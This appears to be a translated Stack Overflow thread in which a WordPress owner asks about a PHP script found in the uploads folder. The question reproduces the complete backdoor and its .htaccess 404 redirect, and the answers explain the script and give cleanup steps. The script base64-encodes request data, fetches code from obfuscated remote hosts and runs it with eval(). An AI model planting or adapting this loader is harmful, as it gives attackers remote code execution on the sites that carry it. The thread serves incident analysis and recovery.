这个脚本在做什么(在Wordpress uploads文件夹中找到)

时间:2012-01-27 12:34:57

标签: php wordpress security

我发现这个脚本散布在我的共享主机上的Wordpress uploads文件夹中。我不知道它是如何实现的,我一直在使用最新版本的Wordpress和我的所有插件。

该脚本已分散到我的uploads文件夹中的所有可能的子文件夹中,并带有帮助.htaccess文件,用于将流量定向到此脚本。它只能在uploads文件夹中找到,外面没有文件。

你可以帮我解码这个剧本正在做什么我怎样才能从中恢复?如果它做了什么坏事?

这是助手.htaccess文件,

Options -MultiViews
ErrorDocument 404 //wp-content/uploads/54580.php

这是主要的脚本(或pastebin),

error_reporting(0);
$a = (isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b = (isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c = (isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$d = (isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
$e = (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
$f = (isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
$g = (isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h = (isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
$i = (isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : $SCRIPT_FILENAME);
$j = (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);
$z = "/?" . base64_encode($a) . "." . base64_encode($b) . "." . base64_encode($c) . "." . base64_encode($d) . "." . base64_encode($e) . "." . base64_encode($f) . "." . base64_encode($g) . "." . base64_encode($h) . ".e." . base64_encode($i) . "." . base64_encode($j);
$f = base64_decode("cnNzbmV3cy53cw==");
if (basename($c) == basename($i) && isset($_REQUEST["q"]) && md5($_REQUEST["q"]) == "ceaa2f454d1892ee1d5c3f777e07144d") $f = $_REQUEST["id"];
if ($c = file_get_contents(base64_decode("aHR0cDovLzdhZHMu") . $f . $z)) eval($c); 
else if ($c = file_get_contents(base64_decode("aHR0cDovLzcu") . $f . $z)) eval($c); 
else {
    $cu = curl_init(base64_decode("aHR0cDovLzcxLg==") . $f . $z);
    curl_setopt($cu, CURLOPT_RETURNTRANSFER, 1);
    $o = curl_exec($cu);
    curl_close($cu);
    eval($o);
}
;
die(); 

5 个答案:

答案 0 :(得分:6)

首先,它会关闭错误报告,确保在出现问题时,没有人会看到错误消息。

然后,它似乎从另一台服务器下载文件。

该服务器的IP地址被混淆了一段时间,并对base64进行了编码。 if语句的复杂意大利面条代码将其重组为(可能)有效的服务器IP地址。

如果它可以下载该文件,它将eval()它,这意味着它会将其解释为PHP,然后运行它。

答案 1 :(得分:5)

  

你能帮我解码一下这个剧本正在做什么

它从其他服务器加载一个有效负载并执行它。

  

如果它做了什么坏事我怎么能从中恢复?

删除脚本。恢复未被污染的网站备份。与遇到此类问题的人员取得联系,并对您的网站进行审核,并为将来提供更好的指导。

答案 2 :(得分:1)

它正在调用远程网址,可能是发送信息。 7ads.rssnews.com或7.rssnews.com

我认为,您应该从网络服务器中删除此文件,它似乎不安全。

答案 3 :(得分:0)

从根文件夹中的.htacces中删除此行

ErrorDocument 404 //wp-content/uploads/54580.php

删除名称为54580.php

的所有文件

仅对wp-content / uploads

提供写入公共权限

为其他人提供公共阅读权限。

它现在做什么......它正在向rssnews(dot)ws发送一些信息

答案 4 :(得分:0)

另请参阅哪些插件可以将文件上传到uploads目录。那里有一个用于上传文件的文件,只是因为你所有的插件都是最新的,并不意味着它们被攻击者利用。

一些插件编码器即使在其中发现了漏洞,也没有使其插件保持最新状态。目前正在利用一些插件没有公开漏洞利用,而且Wordpress本身也有一些问题已经被认为不够糟糕。 示例:http://goo.gl/EfMTJ

此外,如果您之前遭到黑客入侵,您可能错过了一个shell代码(后门文件),它仍然可以驻留在您的网络文件夹中。使用上传的原因可能有两个原因,一个是它可能是网络服务器可写的,另外两个是它是插件和主站点用来上传文件的公共文件夹。